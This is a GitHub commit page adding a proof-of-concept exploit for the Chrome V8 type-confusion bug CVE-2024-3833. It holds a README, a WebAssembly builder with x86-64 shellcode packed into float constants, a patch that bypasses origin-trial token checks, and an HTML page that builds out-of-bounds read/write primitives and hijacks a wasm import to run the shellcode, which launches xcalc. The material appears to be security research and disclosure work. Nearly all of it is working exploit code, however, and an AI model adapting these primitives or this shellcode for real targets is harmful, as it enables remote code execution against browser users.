Skip to content

Commit a6d6832

Browse files
authored
Merge pull request #840 from github/chrome_3833
Block material
2 parents e4ac818 + c9321da commit a6d6832

4 files changed

Lines changed: 346 additions & 0 deletions

File tree

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
## V8 type confusion CVE-2024-3833
2+
3+
The analysis of this bug can be found [here](https://github.blog/2024-06-26-attack-of-the-clones-getting-rce-in-chromes-renderer-with-duplicate-object-properties).
4+
5+
The exploit here is tested on the official build of Chrome version 123.0.6312.58, on Ubuntu 22.04. The following build config was used to build Chromium:
6+
7+
```
8+
is_debug = false
9+
symbol_level = 1
10+
blink_symbol_level = 1
11+
dcheck_always_on = false
12+
is_official_build = true
13+
chrome_pgo_phase = 0
14+
v8_symbol_level = 1
15+
```
16+
17+
The bug depends on an origin trial and to emulate it locally, the patch `trial-token.patch` should be applied before building Chrome.
18+
19+
If successful, on Ubuntu 22.04, it should call launch `xcalc` when `wasm_poc.html` is opened in Chrome.
20+
21+
Shell code and some addresses may need changing on other platforms.
22+
23+
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
d8.file.execute("/home/mmo/chrome_pocs/v8_test/wasm/wasm-module-builder.js");
2+
3+
const importObject = {
4+
imports: { imported_func : Math.sin},
5+
};
6+
7+
8+
var builder = new WasmModuleBuilder();
9+
let array = builder.addArray(kWasmF64, true);
10+
11+
var sig_index = builder.addType(kSig_d_d);
12+
13+
builder.addImport("imports", "imported_func", sig_index);
14+
builder.addFunction("main", sig_index)
15+
.addBody([kExprLocalGet, 0, kExprCallFunction, 0])
16+
.exportAs("main");
17+
//jumps: 0x45, 0x48 for d8
18+
//0x1d, 0x20 for chrome
19+
builder.addFunction("make_array", makeSig([], [wasmRefNullType(array)]))
20+
.addLocals(wasmRefNullType(array), 1)
21+
.addBody([kExprI32Const, 18, kGCPrefix, kExprArrayNewDefault, array, kExprLocalSet, 0,
22+
kExprLocalGet, 0,
23+
kExprI32Const, 0,
24+
kExprF64Const, 0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xeb, 0x1d,
25+
kGCPrefix, kExprArraySet, array,
26+
kExprLocalGet, 0,
27+
kExprI32Const, 1,
28+
kExprF64Const, 0x68, 0x6c, 0x63, 0x00, 0x00, 0x90, 0xeb, 0x20,
29+
kGCPrefix, kExprArraySet, array,
30+
kExprLocalGet, 0,
31+
kExprI32Const, 2,
32+
kExprF64Const, 0x68, 0x2f, 0x78, 0x63, 0x61, 0x58, 0xeb, 0x20,
33+
kGCPrefix, kExprArraySet, array,
34+
kExprLocalGet, 0,
35+
kExprI32Const, 3,
36+
kExprF64Const, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x5b, 0xeb, 0x20,
37+
kGCPrefix, kExprArraySet, array,
38+
kExprLocalGet, 0,
39+
kExprI32Const, 4,
40+
kExprF64Const, 0x90, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0xeb, 0x20,
41+
kGCPrefix, kExprArraySet, array,
42+
kExprLocalGet, 0,
43+
kExprI32Const, 5,
44+
kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x5f, 0xeb, 0x20,
45+
kGCPrefix, kExprArraySet, array,
46+
kExprLocalGet, 0,
47+
kExprI32Const, 6,
48+
kExprF64Const, 0x56, 0x57, 0x54, 0x5e, 0x90, 0x90, 0xeb, 0x20,
49+
kGCPrefix, kExprArraySet, array,
50+
kExprLocalGet, 0,
51+
kExprI32Const, 7,
52+
kExprF64Const, 0x68, 0x3a, 0x30, 0x2e, 0x30, 0x90, 0xeb, 0x20,
53+
kGCPrefix, kExprArraySet, array,
54+
kExprLocalGet, 0,
55+
kExprI32Const, 8,
56+
kExprF64Const, 0x68, 0x4c, 0x41, 0x59, 0x3d, 0x58, 0xeb, 0x20,
57+
kGCPrefix, kExprArraySet, array,
58+
kExprLocalGet, 0,
59+
kExprI32Const, 9,
60+
kExprF64Const, 0x68, 0x44, 0x49, 0x53, 0x50, 0x5b, 0xeb, 0x20,
61+
kGCPrefix, kExprArraySet, array,
62+
kExprLocalGet, 0,
63+
kExprI32Const, 10,
64+
kExprF64Const, 0x90, 0x48, 0xc1, 0xe0, 0x20, 0x90, 0xeb, 0x20,
65+
kGCPrefix, kExprArraySet, array,
66+
kExprLocalGet, 0,
67+
kExprI32Const, 11,
68+
kExprF64Const, 0x48, 0x01, 0xd8, 0x50, 0x54, 0x90, 0xeb, 0x20,
69+
kGCPrefix, kExprArraySet, array,
70+
kExprLocalGet, 0,
71+
kExprI32Const, 12,
72+
kExprF64Const, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0xeb, 0x20,
73+
kGCPrefix, kExprArraySet, array,
74+
kExprLocalGet, 0,
75+
kExprI32Const, 13,
76+
kExprF64Const, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xeb, 0x20,
77+
kGCPrefix, kExprArraySet, array,
78+
kExprLocalGet, 0,
79+
kExprI32Const, 14,
80+
kExprF64Const, 0x0f, 0x05, 0x5a, 0x31, 0xd2, 0x52, 0xeb, 0x20,
81+
kGCPrefix, kExprArraySet, array,
82+
kExprLocalGet, 0])
83+
.exportFunc();
84+
85+
var wasmBuffer = builder.toBuffer(false);
86+
var bufStr = '['
87+
for (let i = 0; i < wasmBuffer.length - 1; i++) {
88+
bufStr += wasmBuffer[i] + ',';
89+
}
90+
bufStr += wasmBuffer[wasmBuffer.length - 1] + ']';
91+
console.log(bufStr);
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
diff --git a/third_party/blink/common/origin_trials/trial_token.cc b/third_party/blink/common/origin_trials/trial_token.cc
2+
index e3a28923fce19..70c24dd445066 100644
3+
--- a/third_party/blink/common/origin_trials/trial_token.cc
4+
+++ b/third_party/blink/common/origin_trials/trial_token.cc
5+
@@ -116,6 +116,17 @@ OriginTrialTokenStatus TrialToken::Extract(
6+
std::string* out_token_payload,
7+
std::string* out_token_signature,
8+
uint8_t* out_token_version) {
9+
+
10+
+ if (token_text.length() > kMaxTokenSize || public_key.size() == 0 || token_text.length() < kPayloadOffset) {
11+
+ return OriginTrialTokenStatus::kMalformed;
12+
+ }
13+
+
14+
+ *out_token_payload = token_text;
15+
+ *out_token_signature = "1234";
16+
+ *out_token_version = kVersion2;
17+
+ return OriginTrialTokenStatus::kSuccess;;
18+
+
19+
+/*
20+
if (token_text.empty()) {
21+
return OriginTrialTokenStatus::kMalformed;
22+
}
23+
@@ -178,6 +189,7 @@ OriginTrialTokenStatus TrialToken::Extract(
24+
*out_token_payload = token_contents.substr(kPayloadOffset, payload_length);
25+
*out_token_signature = std::string(signature);
26+
return OriginTrialTokenStatus::kSuccess;
27+
+ */
28+
}
29+
30+
// static
31+
--
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
<html>
2+
<body>
3+
<script>
4+
const importObject = {
5+
imports: { imported_func : Math.sin},
6+
};
7+
8+
var tag = new WebAssembly.Tag({parameters : ["i32", "i64"]});
9+
//Generated using import_shell.js
10+
var wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,136,2,2,6,0,32,0,16,0,11,254,1,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,49,246,49,210,49,192,235,29,251,14,0,32,0,65,1,68,104,108,99,0,0,144,235,32,251,14,0,32,0,65,2,68,104,47,120,99,97,88,235,32,251,14,0,32,0,65,3,68,104,47,98,105,110,91,235,32,251,14,0,32,0,65,4,68,144,144,72,193,224,32,235,32,251,14,0,32,0,65,5,68,72,1,216,80,84,95,235,32,251,14,0,32,0,65,6,68,86,87,84,94,144,144,235,32,251,14,0,32,0,65,7,68,104,58,48,46,48,144,235,32,251,14,0,32,0,65,8,68,104,76,65,89,61,88,235,32,251,14,0,32,0,65,9,68,104,68,73,83,80,91,235,32,251,14,0,32,0,65,10,68,144,72,193,224,32,144,235,32,251,14,0,32,0,65,11,68,72,1,216,80,84,144,235,32,251,14,0,32,0,65,12,68,65,90,82,65,82,84,235,32,251,14,0,32,0,65,13,68,90,184,59,0,0,0,235,32,251,14,0,32,0,65,14,68,15,5,90,49,210,82,235,32,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]
11+
);
12+
var view = new ArrayBuffer(24);
13+
var dblArr = new Float64Array(view);
14+
var intView = new Uint32Array(view);
15+
var bigIntView = new BigInt64Array(view);
16+
17+
function ftoi32(f) {
18+
dblArr[0] = f;
19+
return [intView[0], intView[1]];
20+
}
21+
22+
function i32tof(i1, i2) {
23+
intView[0] = i1;
24+
intView[1] = i2;
25+
return dblArr[0];
26+
}
27+
28+
function itof(i) {
29+
bigIntView = BigInt(i);
30+
return dblArr[0];
31+
}
32+
33+
function ftoi(f) {
34+
dblArr[0] = f;
35+
return bigIntView[0];
36+
}
37+
38+
function addrOf(obj, dblOffset) {
39+
oobObjArr[0] = obj;
40+
if (dblOffset % 2 == 0) {
41+
var addrDbl = oobDblArr[dblOffset/2];
42+
return ftoi32(addrDbl)[0] - 8;
43+
}
44+
var addrDbl = oobDblArr[(dblOffset - 1)/2];
45+
return ftoi32(addrDbl)[1] - 8;
46+
}
47+
48+
function read(addr, dblArrOffset) {
49+
var oldValue = oobDblArr[dblArrOffset];
50+
oobDblArr[dblArrOffset] = i32tof(addr, 8);
51+
var out = ftoi32(oobDblArr2[0]);
52+
oobDblArr[dblArrOffset] = oldValue;
53+
return out;
54+
}
55+
56+
function write(addr, val1, val2, dblArrOffset) {
57+
var oldValue = oobDblArr[dblArrOffset];
58+
oobDblArr[dblArrOffset] = i32tof(addr, 8);
59+
oobDblArr2[0] = i32tof(val1, val2);
60+
oobDblArr[dblArrOffset] = oldValue;
61+
return;
62+
}
63+
64+
function searchByteArray(byteArrayMap, start, length) {
65+
for (let thisAddr = start; thisAddr < start + length; thisAddr += 4) {
66+
var val = read(thisAddr, dblOffset);
67+
if (val[0] == byteArrayMap) {
68+
return thisAddr + 8;
69+
}
70+
}
71+
}
72+
73+
74+
function clone0(x) {
75+
return {...x};
76+
}
77+
78+
function set_length(x) {
79+
x.c4.len = 1000;
80+
}
81+
82+
var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
83+
obj0.c4 = {len : 1};
84+
var obj1 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
85+
obj1.c4 = {len : 1};
86+
for (let i = 0; i < 20; i++) {
87+
clone0(obj0);
88+
}
89+
set_length(obj1);
90+
for (let i = 0; i < 20000; i++) {
91+
set_length(obj0);
92+
}
93+
94+
var a8 = {c : 1};
95+
var a7 = clone0(obj0);
96+
97+
function transition_store(x) {
98+
x.a7 = 0x100;
99+
}
100+
//PropertyArray
101+
function transition_store2(x) {
102+
x.a8 = a8;
103+
}
104+
105+
function clone(x) {
106+
return {...x};
107+
}
108+
109+
var x = WebAssembly.Tag.prototype;
110+
x.type = {};
111+
x.a1 = 1;
112+
delete x.constructor;
113+
delete x[Symbol.toStringTag];
114+
x.a2 = 1;
115+
x.a3 = 1;
116+
x.a4 = 1;
117+
x.a5 = 1;
118+
x.a6 = 1;
119+
var y = {};
120+
y.__proto__ = x;
121+
meta = document.createElement('meta');
122+
meta.httpEquiv = 'Origin-Trial';
123+
meta.content = '{"origin" : "http://localhost:8000", "feature": "WebAssemblyJSPromiseIntegration", "expiry": 1719702000}';
124+
document.head.appendChild(meta);
125+
y.a = 1;
126+
z = y.a;
127+
var obj = {...x};
128+
obj.type = 1;
129+
for (let i = 1; i < 7; i++) {
130+
obj['a'+i] = {a : 1};
131+
}
132+
for (let i = 0; i < 20; i++) {
133+
obj = clone(x);
134+
}
135+
obj.x = 1;
136+
var obj2 = {...obj};
137+
var obj3 = {...obj};
138+
var val = {c : 1};
139+
transition_store(obj3);
140+
transition_store2(obj3);
141+
for (let i = 0; i < 20000; i++) {
142+
var tmp = {...obj2};
143+
transition_store(tmp);
144+
transition_store2(tmp);
145+
}
146+
obj = clone(x);
147+
obj.x = 1;
148+
transition_store(obj);
149+
transition_store2(obj);
150+
var oobDblArr = [1.1];
151+
var oobObjArr = [view, 0x42, 0x43];
152+
oobObjArr[0] = 0x41;
153+
var oobDblArr2 = [1, 1.5, 2, 2.5];
154+
for (let i = 9; i < 15; i++) {
155+
obj['a' + i] = oobDblArr;
156+
}
157+
set_length(a7);
158+
var dblOffset = null;
159+
for (let i = 0; i < 20; i++) {
160+
var elem = ftoi32(oobDblArr[i]);
161+
if (elem[0] == 6 && elem[1] == 2 * 0x41) {
162+
let next = ftoi32(oobDblArr[i + 1]);
163+
if (next[0] == 2 * 0x42 && next[1] == 2 * 0x43) {
164+
dblOffset = 2 * i + 1;
165+
}
166+
} else if (elem[1] == 6) {
167+
let next = ftoi32(oobDblArr[i + 1]);
168+
if (next[0] == 2 * 0x41 && next[1] == 2 * 0x42) {
169+
dblOffset = 2 * (i + 1);
170+
}
171+
}
172+
}
173+
174+
var oobObjAddr = addrOf(oobObjArr,dblOffset);
175+
var oobDblAddr = addrOf(oobDblArr,dblOffset);
176+
var oobDblAddr2 = addrOf(oobDblArr2,dblOffset);
177+
var dblIndexOffset = Math.floor((oobDblAddr2 - oobDblAddr - 0x18)/8);
178+
179+
var tagAddr = addrOf(tag, dblOffset);
180+
var byteArray = read(tagAddr + 12, dblIndexOffset)[0];
181+
var byteArrayMap = read(byteArray - 8, dblIndexOffset)[0];
182+
183+
var module = new WebAssembly.Module(wasmBuffer);
184+
var tmpObj = {};
185+
var instance = new WebAssembly.Instance(module, importObject);
186+
var moduleAddr = addrOf(tmpObj, dblOffset);
187+
var importTargets = searchByteArray(byteArrayMap, moduleAddr + 200, 40);
188+
var instr_start = read(importTargets, dblIndexOffset);
189+
190+
var msg = 'importTargets: 0x' + importTargets.toString(16) + ' instr_start: 0x' + instr_start[1].toString(16) + instr_start[0].toString(16);
191+
var func = instance.exports.make_array;
192+
func();
193+
194+
write(importTargets, instr_start[0] + 0xe + 0x100, instr_start[1], dblIndexOffset);
195+
var exported = instance.exports.main;
196+
exported();
197+
exported();
198+
199+
</script>
200+
</body>
201+
</html>

0 commit comments

Comments
 (0)